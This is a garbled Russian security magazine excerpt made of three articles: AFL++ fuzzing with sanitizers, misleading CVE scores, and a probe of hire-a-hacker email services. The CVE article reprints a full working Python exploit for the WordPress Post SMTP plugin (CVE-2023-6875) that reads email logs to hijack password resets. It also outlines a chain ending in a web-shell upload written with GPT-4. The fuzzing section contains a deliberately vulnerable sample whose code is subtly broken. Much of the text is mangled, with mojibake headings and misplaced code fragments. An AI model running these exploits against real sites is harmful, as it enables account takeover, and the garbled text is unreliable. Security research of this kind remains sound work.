ÒÅÍÅÂÀß ÏÀÌßÒÜ

Од на из тех ник, которую исполь зуют санитай зеры, — это теневая память.
По сути, они под держи вают парал лель ную струк туру дан ных наряду с фак- 
тичес кой памятью прог раммы, при этом каж дый бит в теневой памяти соот- 
ветс тву ет 8 битам в фак тичес кой памяти. Такая схе ма поз воля ет хра нить
метадан ные о каж дом выделе нии памяти и обна ружи вать наруше ния
при записи в нее.

Нап ример, в прог рамме опре деля ется какой-то ука затель:

    *address = ...; // or: ... = *address;

Са нитай зер меня ет его исполь зование на такое:

  if (IsPoisoned(address)) {
   ReportError(address, kAccessSize, kIsWrite);
}

    *address = ...; // or: ... = *address;

Са нитай зер помеча ет любую выс вобож даемую память как «отравлен ную»,
а затем сле дит за дос тупом к ней. Если про изош ло перепол нение буфера,
который выделял ся через , то получа ется, что кто-то пишет

в отравлен ную область, а в эту область писать нель зя. Так фаз зер обна ружи- 
вает баг.

malloc

По доб ная же ситу ация и с перепол нени ем буфера на сте ке. Пред- 
положим, у нас есть такая прог рамма:

  void foo() {
  char a[8];
 ...
 return;
}

Са нитай зер ее изме нит на вот такую:

  void foo() {
    char redzone1[32]; // 32-byte aligned
  char a[8];          // 32-byte aligned
  char redzone2[24];
    char redzone3[32]; // 32-byte aligned
     int *shadow_base = MemToShadow(redzone1);
     shadow_base[0] = 0xffffffff; // poison redzone1
     shadow_base[1] = 0xffffff00; // poison redzone2, unpoison 'a'
     shadow_base[2] = 0xffffffff; // poison redzone3
 ...
        shadow_base[0] = shadow_base[1] = shadow_base[2] = 0; // unpoison 
all
 return;
}

Тут искусс твен но добав ляет ся отравлен ная область, и, если про изой дет
запись в нее, фаз зер сра бота ет и сооб щит о перепол нении.

ÊÎÌÏÈËÈÐÓÅÌ ÒÅÑÒÎÂÓÞ ÏÐÎÃÐÀÌÌÓ Ñ AFL-CLANG-FAST

В качес тве подопыт ного для испы таний исполь зуем вот такую незамыс- 
ловатую прог рамму:

#include <stdio.h>

 int main()
{
      char buf[256] = {0};
      char *a = 0;
         unsigned int size = read(0, buf, 256);
         if(size > 0 && buf[0] == 'H'){

             if(size > 1 && buf[1] == 'I'){
                 if(size > 2 && buf[2] == '!'){

                 a = 1;
           }
       }
   }
     if(a == 1){
       printf("g00d pwn\n");
   }
    return 0;
}

Для тес тирова ния два раза ском пилиру ем прог рамму. Пер вый раз обыч ным
GCC, вто рой раз ком пилято ром a-clang-fast.

Ком пиляция при помощи a-clang-fast выг лядит точ но так же, как и с GCC:

$ afl-clang-fast  main.c -o san.elf 

Ес ли ском пилиро вать не получа ется, сто ит про- 
бовать вари анты a-clang или a-gcc.

В резуль тате мы получа ем инс тру мен тирован ный бинар ный файл. При ком- 
пиляции ты уви дишь сооб щение о том, что AFL нашел опре делен ное количес- 
тво мес та для инс тру мен тации и вста вил свое логиро вание в мес та вет вле- 
ния.

Для про вер ки работы ском пилиро ван ного таким обра зом бинар ного фай ла
мож но прос то его запус тить. Если прог рамма пада ет, зна чит, фаз зер будет
врать:

 

 

$ ./san.elf 
HI! 
g00d pwn

Те перь заг ружу два бинар ных фай ла в , что бы показать, как это все

выг лядит внут ри.

IDA Pro

ÈÙÅÌ ÎÒËÈ×Èß ÁÈÍÀÐÍÛÕ ÔÀÉËÎÂ Ñ ÏÎÌÎÙÜÞ IDA PRO

Сле ва заг ружена ори гиналь ная прог рамма, ском пилиро ван ная с помощью
GCC. Спра ва — прог рамма, ском пилен ная при помощи a-clang-fast.

Раз ница оче вид на: AFL добавил фун кцию  для логиро вания

сооб щения. Эта фун кция при нима ет два аргу мен та:

afl_maybe_log()

 — тип сооб щения. Может при нимать зна чения , ,
 или ;

• type ERROR WARNING

INFO DEBUG

 — сооб щение, которое нуж но залоги ровать.• msg

Фун кция  будет выводить сооб щение в стан дар тный вывод
толь ко в том слу чае, если уро вень логиро вания уста нов лен на зна чение
не ниже типа сооб щения. Нап ример, если уро вень логиро вания уста нов лен
на , то сооб щения с типом  и  будут выведе ны в стан дар- 
тный вывод, а сооб щения с типом  и  — нет.

afl_maybe_log()

INFO ERROR WARNING
INFO DEBUG

Фун кция  исполь зует ся для логиро вания событий, про- 

исхо дящих во вре мя работы AFL++: оши бок, пре дуп режде ний, информа ции
о пок рытии кода и так далее.

afl_maybe_log()

Вот при мер ее исполь зования:

 afl_maybe_log(ERROR, "An error occurred!");
 afl_maybe_log(WARNING, "A warning occurred!");

 afl_maybe_log(INFO, "Some information");
 afl_maybe_log(DEBUG, "Some debug information");

Здесь сооб щение об ошиб ке будет выведе но в стан дар тный вывод, WARNING
уйдет туда же, а INFO — нет, потому что уро вень логиро вания не уста нов лен
на зна чение, которое не ниже типа этих сооб щений.

Точ но так же мож но уви деть те самые семь инс тру мен тари ев, которые
вста вил ком пилятор.

ÔÀÇÇÈÍÃ

Как и в прош лый раз, нам нуж но соз дать две дирек тории:  с тес ткей сами
и  — для вывода кра шей:

/in
/out

 out   10    .. mkdir in; mkdir ; cd in; ragg2 -P -r > 1.txt; cd

Ragg2 — это ути лита из набора Radare2,
с помощью которой мож но генери ровать мусор- 
ные стро ки. Нап ример, это удоб но, ког да нуж но
вычис лять дан ные для перепол нения буфера.

За пус каем фаз зер:

 /in  /out afl-fuzz -m none -i $PWD -o $PWD -- ./san.elf 

Да вай пос мотрим, что дела ет каж дый из парамет ров:
 — берет ся содер жимое фай лов, которые находят ся в дирек тории ;• -- /in

 озна чает, что необ ходимо убрать огра ниче ние памяти для каж- 
дого запус каемо го сем пла. Это уско ряет фаз зинг;

• -m none

 зада ет, какие тес ткей сы берем для фаз зинга;• -i $PWD/in

 зада ет, куда будут вылетать мутиро ван ные дан ные.• -o $PWD/out

Пос ле запус ка наб люда ем такую кар тину.

Вни зу мож но уви деть сос тояние фаз зера, в пра вом вер хнем углу — количес- 
тво цик лов и количес тво кра шей. Через пять минут поле  из сос тояния

 перей дет в сос тояние . Зна чит, фаз зинг закон чился!

state
started finished

Все резуль таты мутиро вания вход ного фай ла находят ся по пути 

. Давай пос мотрим пос ледний файл.

$PWD/out/
default/queue

Мож но уви деть раз ницу меж ду вход ным фай лом и тем, что выдал фаз зер.

Удоб но, что фаз зер сам сооб щает, ког да все закон чилось.

ÂÒÎÐÎÉ ÏÐÈÌÅÐ ÑÀÍÈÒÀÉÇÅÐÀ

До пус тим, у нас будет вот такая прог рамма:

#include <stdio.h>
#include <string.h>

     int main(int argc, const char *argv[])
{
       char *buffer = (char *)malloc(256);
      char *a = 0;
         unsigned int size = read(0, buf, 256);
         if(size > 0 && buf[0] == 'H'){

             if(size > 1 && buf[1] == 'I'){
                 if(size > 2 && buf[2] == '!'){

                 a = 1;
               free(buffer);

                strcpy(buffer, argv[1]);
               puts(buffer);
           }
       }
   }
     if(a == 1){
       printf("g00d pwn\n");
   }
    return 0;
}

Здесь в явном виде есть уяз вимость Use-After-Free, но прог рамма не пада ет
и ошиб ки никакой не выда ет. Наша задача — про демонс три ровать работу
санитай зера AFL++. Он дол жен обна ружить эту уяз вимость, в то вре мя
как при обыч ном запус ке фаз зера, без санитай зеров, ничего про изой ти
не дол жно.

Ком пилиро вать будем с фла гом  и в явном виде ука зыва ем,
какой тип ошиб ки инте ресу ет:

-fsanitize

afl-clang-fast -fsanitize=address main.c -o binary.elf 

Да лее пов торя ем те же шаги, что и рань ше:

 out   10    .. mkdir in; mkdir ; cd in; ragg2 -P -r > 1.txt; cd

И запус каем фаз зер:

 /in  /in afl-fuzz -i $PWD -o $PWD/out ./binary.elf @@ $PWD

Ре зуль тат говорит о том, что была обна руже на уяз вимость Use-After-Free.
Те перь про дела ем такой же фокус, толь ко без санитай зеров:

gcc main.c -o clear.elf 

И запус тим фаз зер:

   /in  /in afl-fuzz -Q -D -i $PWD -o $PWD/out ./clear.elf @@ $PWD

Как вид но, без санитай зера фаз зер работа ет нам ного доль ше.

ÂÛÂÎÄÛ

Мы убе дились, что санитай зеры — это удоб ная вещь, которую сто ит исполь- 
зовать при фаз зинге, если есть такая воз можность. Мож но ука зать самому
фаз зеру, на какие дефек ты ему сто ит обра щать вни мание.

При мер, который мы рас смот рели, показал дос тоинс тва санитай зера:
фаз зер адап тировал ся под код и заранее узнал, как ему надо дви гать ся, что- 
бы дой ти до кон ца прог раммы. Бла года ря санитай зерам AFL++ смог гра мот- 
но подоб рать тес ткейс.

https://t.me/addlist/yh61nKdSoj1mYjE6
https://xakep.ru/2021/11/10/winafl/
https://github.com/xmendez/wfuzz
https://github.com/AFLplusplus/AFLplusplus
https://codeby.net/threads/sredi-ubljudkov-shel-artist-poc-cve-2023-2663.82037/
https://codeby.net/threads/nadente-na-nogi-moi-stalnye-kandaly-parallelnyj-fazzing-afl.82099/
https://github.com/google/sanitizers/wiki/AddressSanitizer
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ВЗЛОМ

Ку да мы в пер вую оче редь смот рим, гля дя
на оче ред ную CVE’шку? Пра виль но, на уро- 
вень угро зы, то есть оцен ку CVSS. Но быва- 
ет, что эта циф ра пло хо соот ветс тву ет
реаль ной опас ности. В этой статье я
на при мерах покажу, как это слу чает ся,
а так же погово рим о дру гих проб лемах
CVE.

CVE (Common Vulnerabilities and Exposures, «извес тные уяз вимос ти и рис- 
ки») — это стан дарти зиро ван ный и обще дос тупный сло варь уяз вимос тей
в ПО и железе. Заведу ет им Наци ональ ный инсти тут стан дартов и тех нологий
(NIST) в Соеди нен ных Шта тах. Основная цель CVE — пре дос тавить общий
язык, на котором мож но было бы обсуждать уяз вимос ти и работать с ними
в прог раммах. CVE исполь зует ся во всем мире и дела ет вза имо дей ствие
меж ду ИБ-спе циалис тами, пос тавщи ками и иссле дова теля ми более
эффектив ным.

CVSS (Common Vulnerability Scoring System, «сис тема оцен ки уяз вимос- 
тей») — еще один важ ный инс тру мент. Он раз работан форумом групп реаги- 
рова ния на инци ден ты и безопас ности (FIRST) в сот рудни чес тве с NIST.
CVSS — это стан дарти зиро ван ный метод оцен ки, в рам ках которо го уяз- 
вимос ти мож но наз начить чис ловой балл, озна чающий сте пень угро зы.

Ба зовый балл осно ван на фун дамен таль ных атри бутах уяз вимос ти, которые
не меня ются со вре менем. Вот глав ные мет рики, которые при этом берут ся
в рас чет:

век тор ата ки (Attack Vector, AV);•
слож ность ата ки (Attack Complexity, AC);•
тре буемые при виле гии (Privileges Required, PR);•
вза имо дей ствие с поль зовате лем (User Interaction, UI);•
об ласть (Scope, S);•
мет рики воз дей ствия:•

вли яние на кон фиден циаль ность (Condentiality Impact, C),•
вли яние на целос тность (Integrity Impact, I),•
вли яние на дос тупность (Availability Impact, A).•

Что бы уяз вимость счи талась таковой, она дол жна нарушать по край ней мере
один аспект три ады CIA.

Ана лизи руя CVE, я стал кива юсь с тре мя основны ми проб лемами:
CVE без экс пло итов;•
CVE с нерабо тающи ми экс пло ита ми;•
за вышен ная оцен ка.•

Моя тема — это веб-уяз вимос ти, поэто му и при меры буду при водить из этой
области. Но схо жие проб лемы навер няка зат рагива ют и дру гие сфе ры.

CVE-2023-39526: «óÿçâèìîñòü» â PrestaShop
Хо роший при мер пер вой и треть ей проб лемы — это , уяз- 
вимость в веб-при ложе нии PrestaShop. Мы видим две оцен ки: NIST дал оцен- 
ку 9.8, в то вре мя как GitHub — 9.1.

CVE-2023-39526

По чему оцен ки раз ные? Есть два раз личия: в NIST ука зали тре буемые при- 
виле гии как отсутс тву ющие (None), в то вре мя как сот рудни ки GitHub ука зали
высокие (High); в NIST отме тили область как неиз менен ную (Unchanged), в то
вре мя как на GitHub выб рана изме нен ная (Changed).

Гра фа «Тре буемые при виле гии» показы вает, какие при виле гии необ- 
ходимы ата кующе му для экс плу ата ции уяз вимос ти. Область опре деля ет,
может ли ата кующий пос ле экс плу ата ции уяз вимос ти выпол нить эска лацию
при виле гий в любой фор ме. Под эска лаци ей при виле гий я под разуме ваю
не толь ко переход от поль зовате ля к адми нис тра тору, но и получе ние более
широко го дос тупа в сис теме, нап ример от веб-при ложе ния к сер веру.

Итак, я уста новил уяз вимый про дукт. Для дос тупа к фун кции, где сущес тву- 
ет «уяз вимость», нуж но быть адми нис тра тором, поэто му тре буемые при виле- 
гии высоки. Сама уяз вимость пред став ляет собой уда лен ное выпол нение
кода (Remote Code Execution, RCE), а не SQL-инъ екцию. PrestaShop вклю чает
в себя SQL Manager, поэто му сооб щать об SQL-инъ екции без какой-либо тех- 
ники обхо да SQL Manager некор рек тно.

Те перь давай гля нем .патч

В пат че зап росы  и  добав лены в чер ный спи сок в фай ле

, а в  появи лась допол нитель ная про вер ка на то, есть
ли они в зап росе. Если да, то прог рамма выдаст исклю чение

.

DUMPFILE OUTFILE
RequestSql.php Db.php

PrestaShopDatabaseException
Проб лема здесь в том, что эти SQL-зап росы обя затель но дол жны исполь- 

зовать ся с зап росом .  уже находит ся в чер ном спис ке, так что тех- 

ничес ки уяз вимос ти нет; это прос то хорошая прак тика. Ни один из аспектов
три ады CIA не нарушен, так как  и  невоз можно исполь- 

зовать. Оцен ка этой «уяз вимос ти» дол жна быть 0.

INTO INTO

DUMPFILE OUTFILE

CVE-2023-6875: áàã â Post SMTP Mailer
Не дав но я нат кнул ся на занима тель ную, на мой взгляд, новость:
«

». Но в реаль нос ти эта уяз вимость не экс плу ати рует ся, так как пуб- 
личный экс пло ит кри вой.

150 000 сай тов на WordPress в опас ности из-за багов в пла гине Post SMTP
Mailer

WordPress — это популяр ная сис тема управле ния кон тентом, которая поз- 
воля ет соз давать сай ты без обла дания глу боки ми тех ничес кими зна ниями.
Сог ласно  W3Techs, 43,1% всех веб-сай тов в интерне те соз даны
на WordPress. На нем работа ют некото рые СМИ и пра витель ствен ные сай ты.
Для WordPress есть мас са пла гинов, некото рые из них очень и очень популяр- 
ны.

дан ным

Post SMTP Plugin добав ляет в WordPress новые воз можнос ти, свя зан ные
с отправ кой элек трон ных писем. У него 11 мил лионов уста новок, из которых
более 300 тысяч активны.

Я решил про верить, дос тупен ли пуб личный экс пло ит для этой CVE,
и нашел один. Его опуб ликовал Улисс Сай ча ( ), тот же иссле- 
дова тель, что сооб щил об уяз вимос ти вмес те с Шоном Мер фи (Sean Murphy)
и опуб ликовал  в бло ге Wordfence. Сам экс пло ит  на GitHub. Вот
как он выг лядит:

@UlyssesSaicha

от чет дос тупен

 import requests
   url = "http://localhost:10115" # Change this

# set fcm token
print("Setting the FCM Token")

  request_url = f"{url}/wp-json/post-smtp/v1/connect-app"
     

  

     
    

 

request_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent":
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.
7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close",
"fcm-token": "HelloWordfence", "device": "FakeDevice", "Content-Type"
: "application/x-www-form-urlencoded"}

 requests.post(request_url, headers=request_headers)

# password reset
  user_login = input("Username for password reset: ")

print("Attempting password reset")

  request_url = f"{url}/wp-login.php?action=lostpassword"
    

     
  

  

 
  

   
  

request_headers = {"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1", "Origin": f"{url}", "Content-Type":
"application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (
Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/119.0.6045.199 Safari/537.36", "Accept": "text/html,
application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"Referer": f"{url}/wp-login.php?action=lostpassword",
"Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;
q=0.9", "Connection": "close"}

      
 

request_data = {"user_login": "admin", "redirect_to": '', "wp-submit"
: "Get New Password"}

  requests.post(request_url, headers=request_headers, data=request_data
)

# get logs array
print("Getting all email logs")

  request_url = f"{url}/wp-json/post-smtp/v1/get-logs"
     

  

     
   

request_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent":
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.
7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close",
"fcm-token": "HelloWordfence", "device": "FakeDevice"}
   r = requests.get(request_url, headers=request_headers)
  r = r.json()

print("Email logs: ")
   for log in r["data"]:

print(f"Id: {log['id']}, Subject: {log['original_subject']}, 
Recipient: {log['to_header']}")

    email_id = input("Select an email ID to view: ") # Ask to select as 
there may be other emails on the same testing environment
# see email data

  request_url = f"{url}/wp-admin/admin.php?access_token=HelloWordfence&
type=log&log_id={email_id}"

     

  

     
   

request_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent":
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (
KHTML, like Gecko) Chrome/119.0.6045.199 Safari/537.36", "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.
7", "Accept-Encoding": "gzip, deflate, br", "Connection": "close",
"fcm-token": "HelloWordfence", "device": "FakeDevice"}
   r = requests.get(request_url, headers=request_headers)

print(r.text)

Этот код отправ ляет зап рос на 
с заголов ками 

, которые уста нав лива ют токен . Затем экс пло- 

ит зап рашива ет имя поль зовате ля, но незави симо от отве та будет исполь- 
зовать ся имя , что невер но. Потом код шлет зап рос на сброс пароля,

пос ле чего сайт отправ ляет элек трон ное пись мо со ссыл кой.

/wp-json/post-smtp/v1/connect-app
"fcm-token": " HelloWordfence ", "device": 

"FakeDevice" HelloWordfence

admin

В ито ге скрипт пыта ется получить все логи из 
 с токеном, уста нов ленным в пер вом зап росе, а затем зап рашива ет

иден тифика тор лога, который нас инте ресу ет.

/wp-json/post-smtp/v1/
get-logs

Са ма по себе уяз вимость инте рес ная, и боль шое спа сибо иссле дова- 
телям за то, что наш ли ее. Но что до экс пло ита, то за исклю чени ем проб лемы,
ког да он зап рашива ет имя поль зовате ля (и при этом не исполь зует его),
кажет ся, что чего-то не хва тает. Что бы понять, чего имен но, мы дол жны
задать себе воп росы: «Как стать адми нис тра тором?», «Как узнать имя поль- 
зовате ля для сбро са пароля?», «Как получить шелл?»

Ког да я учил ся в шко ле, боль шинс тво воп росов на физике были о ситу ации
в ваку уме. В кибер безопас ности мы называ ем это сре дой. Даже если экс пло- 
ит иде аль но работа ет в нашей сре де, это не зна чит, что он будет работать так
же на реаль ных целях. Поэто му я объ ясню про цесс, который отве чает на эти
воп росы, и напишу «бум-бум»-экс пло ит при помощи ChatGPT. Я нас тро ил
WordPress и уста новил уяз вимую вер сию Post SMTP 2.8.6.

Êàêîå èìÿ ïîëüçîâàòåëÿ ó àäìèíèñòðàòîðà?
Ло гич но пред положить, что адми нис тра тором дол жен быть пер вый зарегис- 
три рован ный поль зователь, поэто му, если мы отпра вим зап рос на 

, мы дол жны уви деть имя поль зовате ля адми нис тра тора.

В некото рых слу чаях дос туп к JSON-интерфей су невоз можен, и иног да это не
пер вый поль зователь. Если нет дос тупа к JSON API, наш экс пло ит дол жен
исполь зовать имя поль зовате ля .

/wp-json/
wp/v2/users/1

admin

В моем слу чае имя — tuktuk, но нас тоящее имя поль зовате ля (username) —
kali. Зна чит, экс пло ит дол жен ана лизи ровать зна чение .slug

Çàáûëè ïàðîëü
Я не нас тро ил SMTP в сво ей тес товой сре де, поэто му, ког да мы сбра сыва ем
пароль с име нем поль зовате ля, элек трон ное пись мо не отправ ляет ся, но лог
неот прав ленно го пись ма сох раня ется. В логе есть информа ция о том, кто
отпра вил элек трон ное пись мо, кому оно отпра вилось или не отпра вилось,
дата и содер жание элек трон ного пись ма. Внут ри пись ма — ссыл ка на сброс
пароля.

Ëîãè ýëåêòðîííîé ïî÷òû
Я отпра вил зап росы на уста нов ку нового токена, получе ние логов и вывод
пос ледне го лога, который содер жит ссыл ку на сброс пароля.

Я хочу прос мотреть лог, в котором есть ссыл ка на сброс пароля, —
номер 154.

Èçìåíåíèå ïàðîëÿ
Я отпра вил зап рос на сброс пароля еще нес коль ко раз, и теперь я смот рю
лог номер 158.

От крыв URL сбро са пароля, получаю куку вида 

, в моем слу чае она выг лядит так:

wp-resetpass-md5(URL)=:
key

wp-resetpass-86a9106ae65537651a8e456835b316ab=kali:
GJbWFvh1nOj8GFg643x9 

Здесь 86a9106ae65537651a8e456835b316ab — это хеш MD5 от адре са
, а  — ключ на сброс пароля

из ссыл ки. Эти дан ные нам осо бо не нуж ны, так как наш скрипт будет пар сить
куки, но все же хорошо знать, что за хеш.

http://localhost/ GJbWFvh1nOj8GFg643x9

При сбро се пароля дол жны при сутс тво вать и куки, и ключ.

Çàãðóçêà øåëëà
Те перь все, что нам нуж но сде лать, — это вой ти в сис тему и заг рузить zip-
файл, содер жащий шелл. В моем слу чае это файл .1.zip

В нашем зап росе есть nonce, referer, имя фай ла и содер жимое.

Оче вид но, наш файл — это не пла гин, поэто му он будет сох ранен в дирек- 
тории ./wp-content/upgrade/1

Те перь у нас есть шелл.

ÁÓÌ-ÁÓÌ-ÝÊÑÏËÎÈÒ Ñ GPT

Я не раз работ чик и не раз бира юсь в прог рамми рова нии, но это не зна чит,
что я не могу читать по-англий ски и отла живать ошиб ки. Экс пло ит написан
на Go с помощью GPT-4.

Вот что дела ет этот экс пло ит:
1. Ус танав лива ет токен, который поз воля ет видеть поч ты.
2. На ходит юзер нейм адми на, если не может най ти, то ста вит «админ»

как дефолт.
3. Про сит ссыл ку для сбро са пароля, тог да пись мо со ссыл кой идет адми ну.
4. Бе рет токен, который пос тавил в пер вом пун кте, и смот рит логи поч ты.
5. Бе рет самый пос ледний лог, в котором ссыл ка для сбро са пароля.
6. Сбра сыва ет пароль через ссыл ку, получен ную в пятом пун кте.
7. Вхо дит как админ.
8. За лива ет шелл (файл , внут ри которо го шелл).shell.zip

Код ты можешь най ти  на GitHub, видео с демонс тра- 
цией — .

в моем репози тории
на Imgur

ÂÛÂÎÄÛ

Итак, мы разоб рали два слу чая, ког да наличие CVE еще не зна чит, что баг
мож но брать и экс плу ати ровать. В пер вом слу чае экс плу ата ция невоз можна
в прин ципе, пос коль ку баг — пус тышка. Во вто ром баг ока зал ся инте рес ным,
но отсутс тво вал работа ющий экс пло ит. Я показал, как, поняв прин цип уяз- 
вимос ти, мож но написать свой экс пло ит, при чем прог рамми рова ние впол не
реаль но целиком сгру зить на искусс твен ный интеллект.

mailto:xdvyznq28qfn@proton.me
https://nvd.nist.gov/vuln/detail/CVE-2023-39526
https://github.com/PrestaShop/PrestaShop/commit/817847e2347844a9b6add017581f1932bcd28c09
https://xakep.ru/2024/01/12/post-smtp-mailer/
https://w3techs.com/technologies/details/cm-wordpress
https://twitter.com/UlyssesSaicha
https://www.wordfence.com/blog/2024/01/type-juggling-leads-to-two-vulnerabilities-in-post-smtp-mailer-wordpress-plugin/
https://github.com/UlyssesSaicha/CVE-2023-6875/blob/main/poc.py
https://github.com/hatlesswizard/CVE-2023-6875/
https://i.imgur.com/RwCinvZ.gif
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ПРИВАТНОСТЬ

Од нажды самый извес тный в нашей стра не
поч таль он по фамилии Печ кин ска зал: «Вот
до чего быва ют люди до чужого доб ра жад- 
ные!» И он был прав, при чем не в пос- 
леднюю оче редь при мени тель но к поль- 
зователь ским учет кам. За минув ший год
у дво их моих зна комых уве ли акка унты
в наибо лее популяр ной рос сий ской соц- 
сети, а еще у тро их ломану ли элек трон ную
поч ту. И я задумал ся: а сколь ко сей час сто- 
ит взлом поч тового ящи ка и каким обра зом
обыч но дей ству ют зло умыш ленни ки?

Впро чем, сов сем не обя затель но гадать на кофей ной гуще, если мож но про- 
вес ти натур ный экспе римент. Я решил при кинуть ся прос тым обы вате лем
и поин тересо вать ся у самих «спе циалис тов по взло му», в какую сум му они
оце нива ют собс твен ные услу ги, а заод но уточ нить методы, которые они
исполь зуют. Сай тов, где пред лага ется взлом на заказ, в интерне те пруд пру- 
ди: скла дыва ется ощу щение, что это не менее вос тре бован ная услу га, чем
ремонт бытовой тех ники, уста нов ка вин ды или устра нение канали заци онных
засоров. Вот и пос мотрим, нас коль ко лег ко прос тому парень ку вро де меня
нанять пер сональ ного хакера для взло ма поч тового ящи ка.

Ку да обра щает ся обыч ный, не обре менен ный  нуж ными свя- 
зями поль зователь интерне та с зап росом из серии «взло мать элек трон ную
поч ту сроч но без SMS регис тра ции»? Пра виль но, во всез нающий гуголь.
Отпра вил ся туда и я. От раз нооб разия получен ных ссы лок бук валь но рябит
в гла зах, да и сай ты по этим самым ссыл кам раду ют инте рес ным кон тентом.
Нап ример, авто ры вот это го лен динга хвас тают ся тем, что при взло ме поч ты
они исполь зуют «передо вые тех нологии обо рудо вания от луч ших про изво- 
дите лей».

ин теллек том

Не знаю, чем их обо рудо вал луч ший про изво дитель, — воз можно, про фес- 
сиональ ные хакеры име ют в виду, что родаки все-таки купили им новый ноут
за хорошие оцен ки в прош лой чет верти.

А вот нас тоящий сер вис по взло му все го что угод но. «Мы груп па про фес- 
сиональ ных прог раммис тов или хакеров если так будет понят нее, — пишут
авто ры сай та. — Это поз воля ет сок ращать вре мя работы над заказом
и делать резуль таты, ког да баналь ные при емы взло ма не работаю» (

 ори гина ла сох ранена).
àð- 

ôàãðà ôåÿ

По нят нее некуда, осо бен но если нуж но сроч но делать резуль таты. Ведь
на эту хакер скую кон тору, если верить сай ту, работа ет «30 спе циалис тов име- 
ющих опыт в раз личных отраслях соци аль ной инже нирии» — веро ятно,
это спе циалис ты, которые получа ют инжир в рам ках какой-то соци аль ной
прог раммы. Раду ют и опуб ликован ные на этой домаш ней стра нич ке пра вила
раз мещения заказа, в час тнос ти такое: «Усло вия сот рудни чес тва с нами:
не про сит встре че с исполни телем». Жаль, потому что на встре че мож но
было бы как минимум подарить исполни телю орфогра фичес кий сло варик
рус ско го язы ка.

А вот еще один сайт, пред лага ющий услу ги подоб ного рода. Тут все очень
серь езно: под робно опи саны виды пред лага емых работ, при веде ны отзы вы
доволь ных кли ентов, име ется даже прей ску рант, из которо го сле дует, что
дешев ле все го взло мать ящик, зарегис три рован ный на сер висе Mail.ru,
осталь ные рос сий ские про вай деры оце нива ются дороже, а взлом Gmail
и кор поратив ных ящи ков на собс твен ном домене так вооб ще сто ит целое
сос тояние.

Есть и вов се смеш ные «сер висы», рас счи тан ные, видимо, на людей
с мякишем вмес то голов ного моз га: вво дим в соот ветс тву ющее поле нуж ный
нам адрес элек тро поч ты, жмем кноп ку «Взло мать!», пос ле чего на экра не
появ ляет ся забав ное JS-око шеч ко со вся кими страш ными над писями вро де
«готовим сокет про токо ла для переда чи дан ных», «опра шива ем порт канала
свя зи», «уста нав лива ем соеди нение с астраль ным поч товым сер вером»,
«пер вичная ини циали зация», «вто рич ная эпи ляция»… Затем, разуме ется,
нуж но ввес ти дан ные бан ков ской кар ты — ина че никако го чуда не про изой- 
дет.

Но мы люди серь езные и ответс твен ные, поэто му на подоб ную ерун ду
не ведем ся. Да и вооб ще, опуб ликован ные в интерне те рас ценки и рек- 
ламные посулы — это хорошо, но обе щать — не зна чит женить ся. В науч- 
но-иссле дова тель ских целях я зарегис три ровал на Mail.ru новый поч товый
ящик, сра зу же под писал его на нес коль ко информа цион ных рас сылок, что бы
он не выг лядел пус тым и заб рошен ным, пос ле чего с дру гого адре са отпра- 
вил сооб щения всем упо мяну тым мною хакер ским сер висам (и еще трем
неупо мяну тым, но похожим). Леген да была прос тая: эта элек трон ная поч та
при над лежит моей девуш ке, с лич ной перепис кой которой я очень желаю
озна комить ся — пря мо аппе тит потерял, хочу знать, с кем и о чем она
перепи сыва ется.

Из пяти отос ланных сооб щений на два ник то не отве тил, в качес тве откли ка
на еще одно пос тупил отлуп от май лер демона о том, что ука зан ного ящи ка
не сущес тву ет. Двое «хакеров» все-таки удо сужи лись чер кануть мне пару
строк. Пер вый поп росил за взлом ящи ка на Mail.ru десять тысяч руб лей,
но при усло виии пятиде сятип роцен тной пре доп латы вне зависи мос ти
от резуль тата, что меня, понят ное дело, не устро ило.

Вто рой озву чил цену в 12 тысяч и сооб щил, что нуж на пре доп лата, а оста ток
вно сить толь ко пос ле доказа тель ства успешно го взло ма — скрин шота содер- 
жимого инбокса. Пос коль ку фотошо пить скрин шоты я и сам неп лохо умею, я
сог ласил ся на это пред ложение с неболь шой ого вор кой: я отправ лю
на целевой адрес пись мо с сек ретным сло вом, а взлом щик приш лет мне его
скрин либо сооб щит код в перепис ке. Пре доп лату пред ложил внес ти через
гаран та, пос ле это го потен циаль ный исполни тель заказа ожи даемо слил ся.

Не добив шись успе ха на пуб личных сай тах, я решил заныр нуть в тем ные
и неиз ведан ные глу бины дар кве ба. На одном из хакер ских форумов нашел ся
тред с пред ложени ем услуг по взло му элек трон ной поч ты. Я отпра вил авто ру
зап рос, и тот отклик нулся — да, взло мать ящик на Mail.ru воз можно, сто- 
имость услу ги сос тавля ет 15 тысяч руб лей, опла та за резуль тат, а для начала
необ ходимо сооб щить все, что мне извес тно о вла дель це это го адре са. Чувс- 
тву ется серь езный и сис темный под ход!

Ча са через пол тора пос ле того, как мы уда рили по рукам, в целевой поч товый
ящик упа ло пер вое подоз ритель ное сооб щение.

Пись мо, что харак терно, написа но на англий ском (видимо, исполни тель
решил понача лу не замора чивать ся) и содер жало ссыл ку, по нажатию
на которую откры лась вот такая оча рова тель ная фишин говая фор ма, при чем
с забот ливо вве ден ным адре сом элек трон ной поч ты потен циаль ной жер- 
твы — этот параметр переда ется стра нице в адресной стро ке бра узе ра
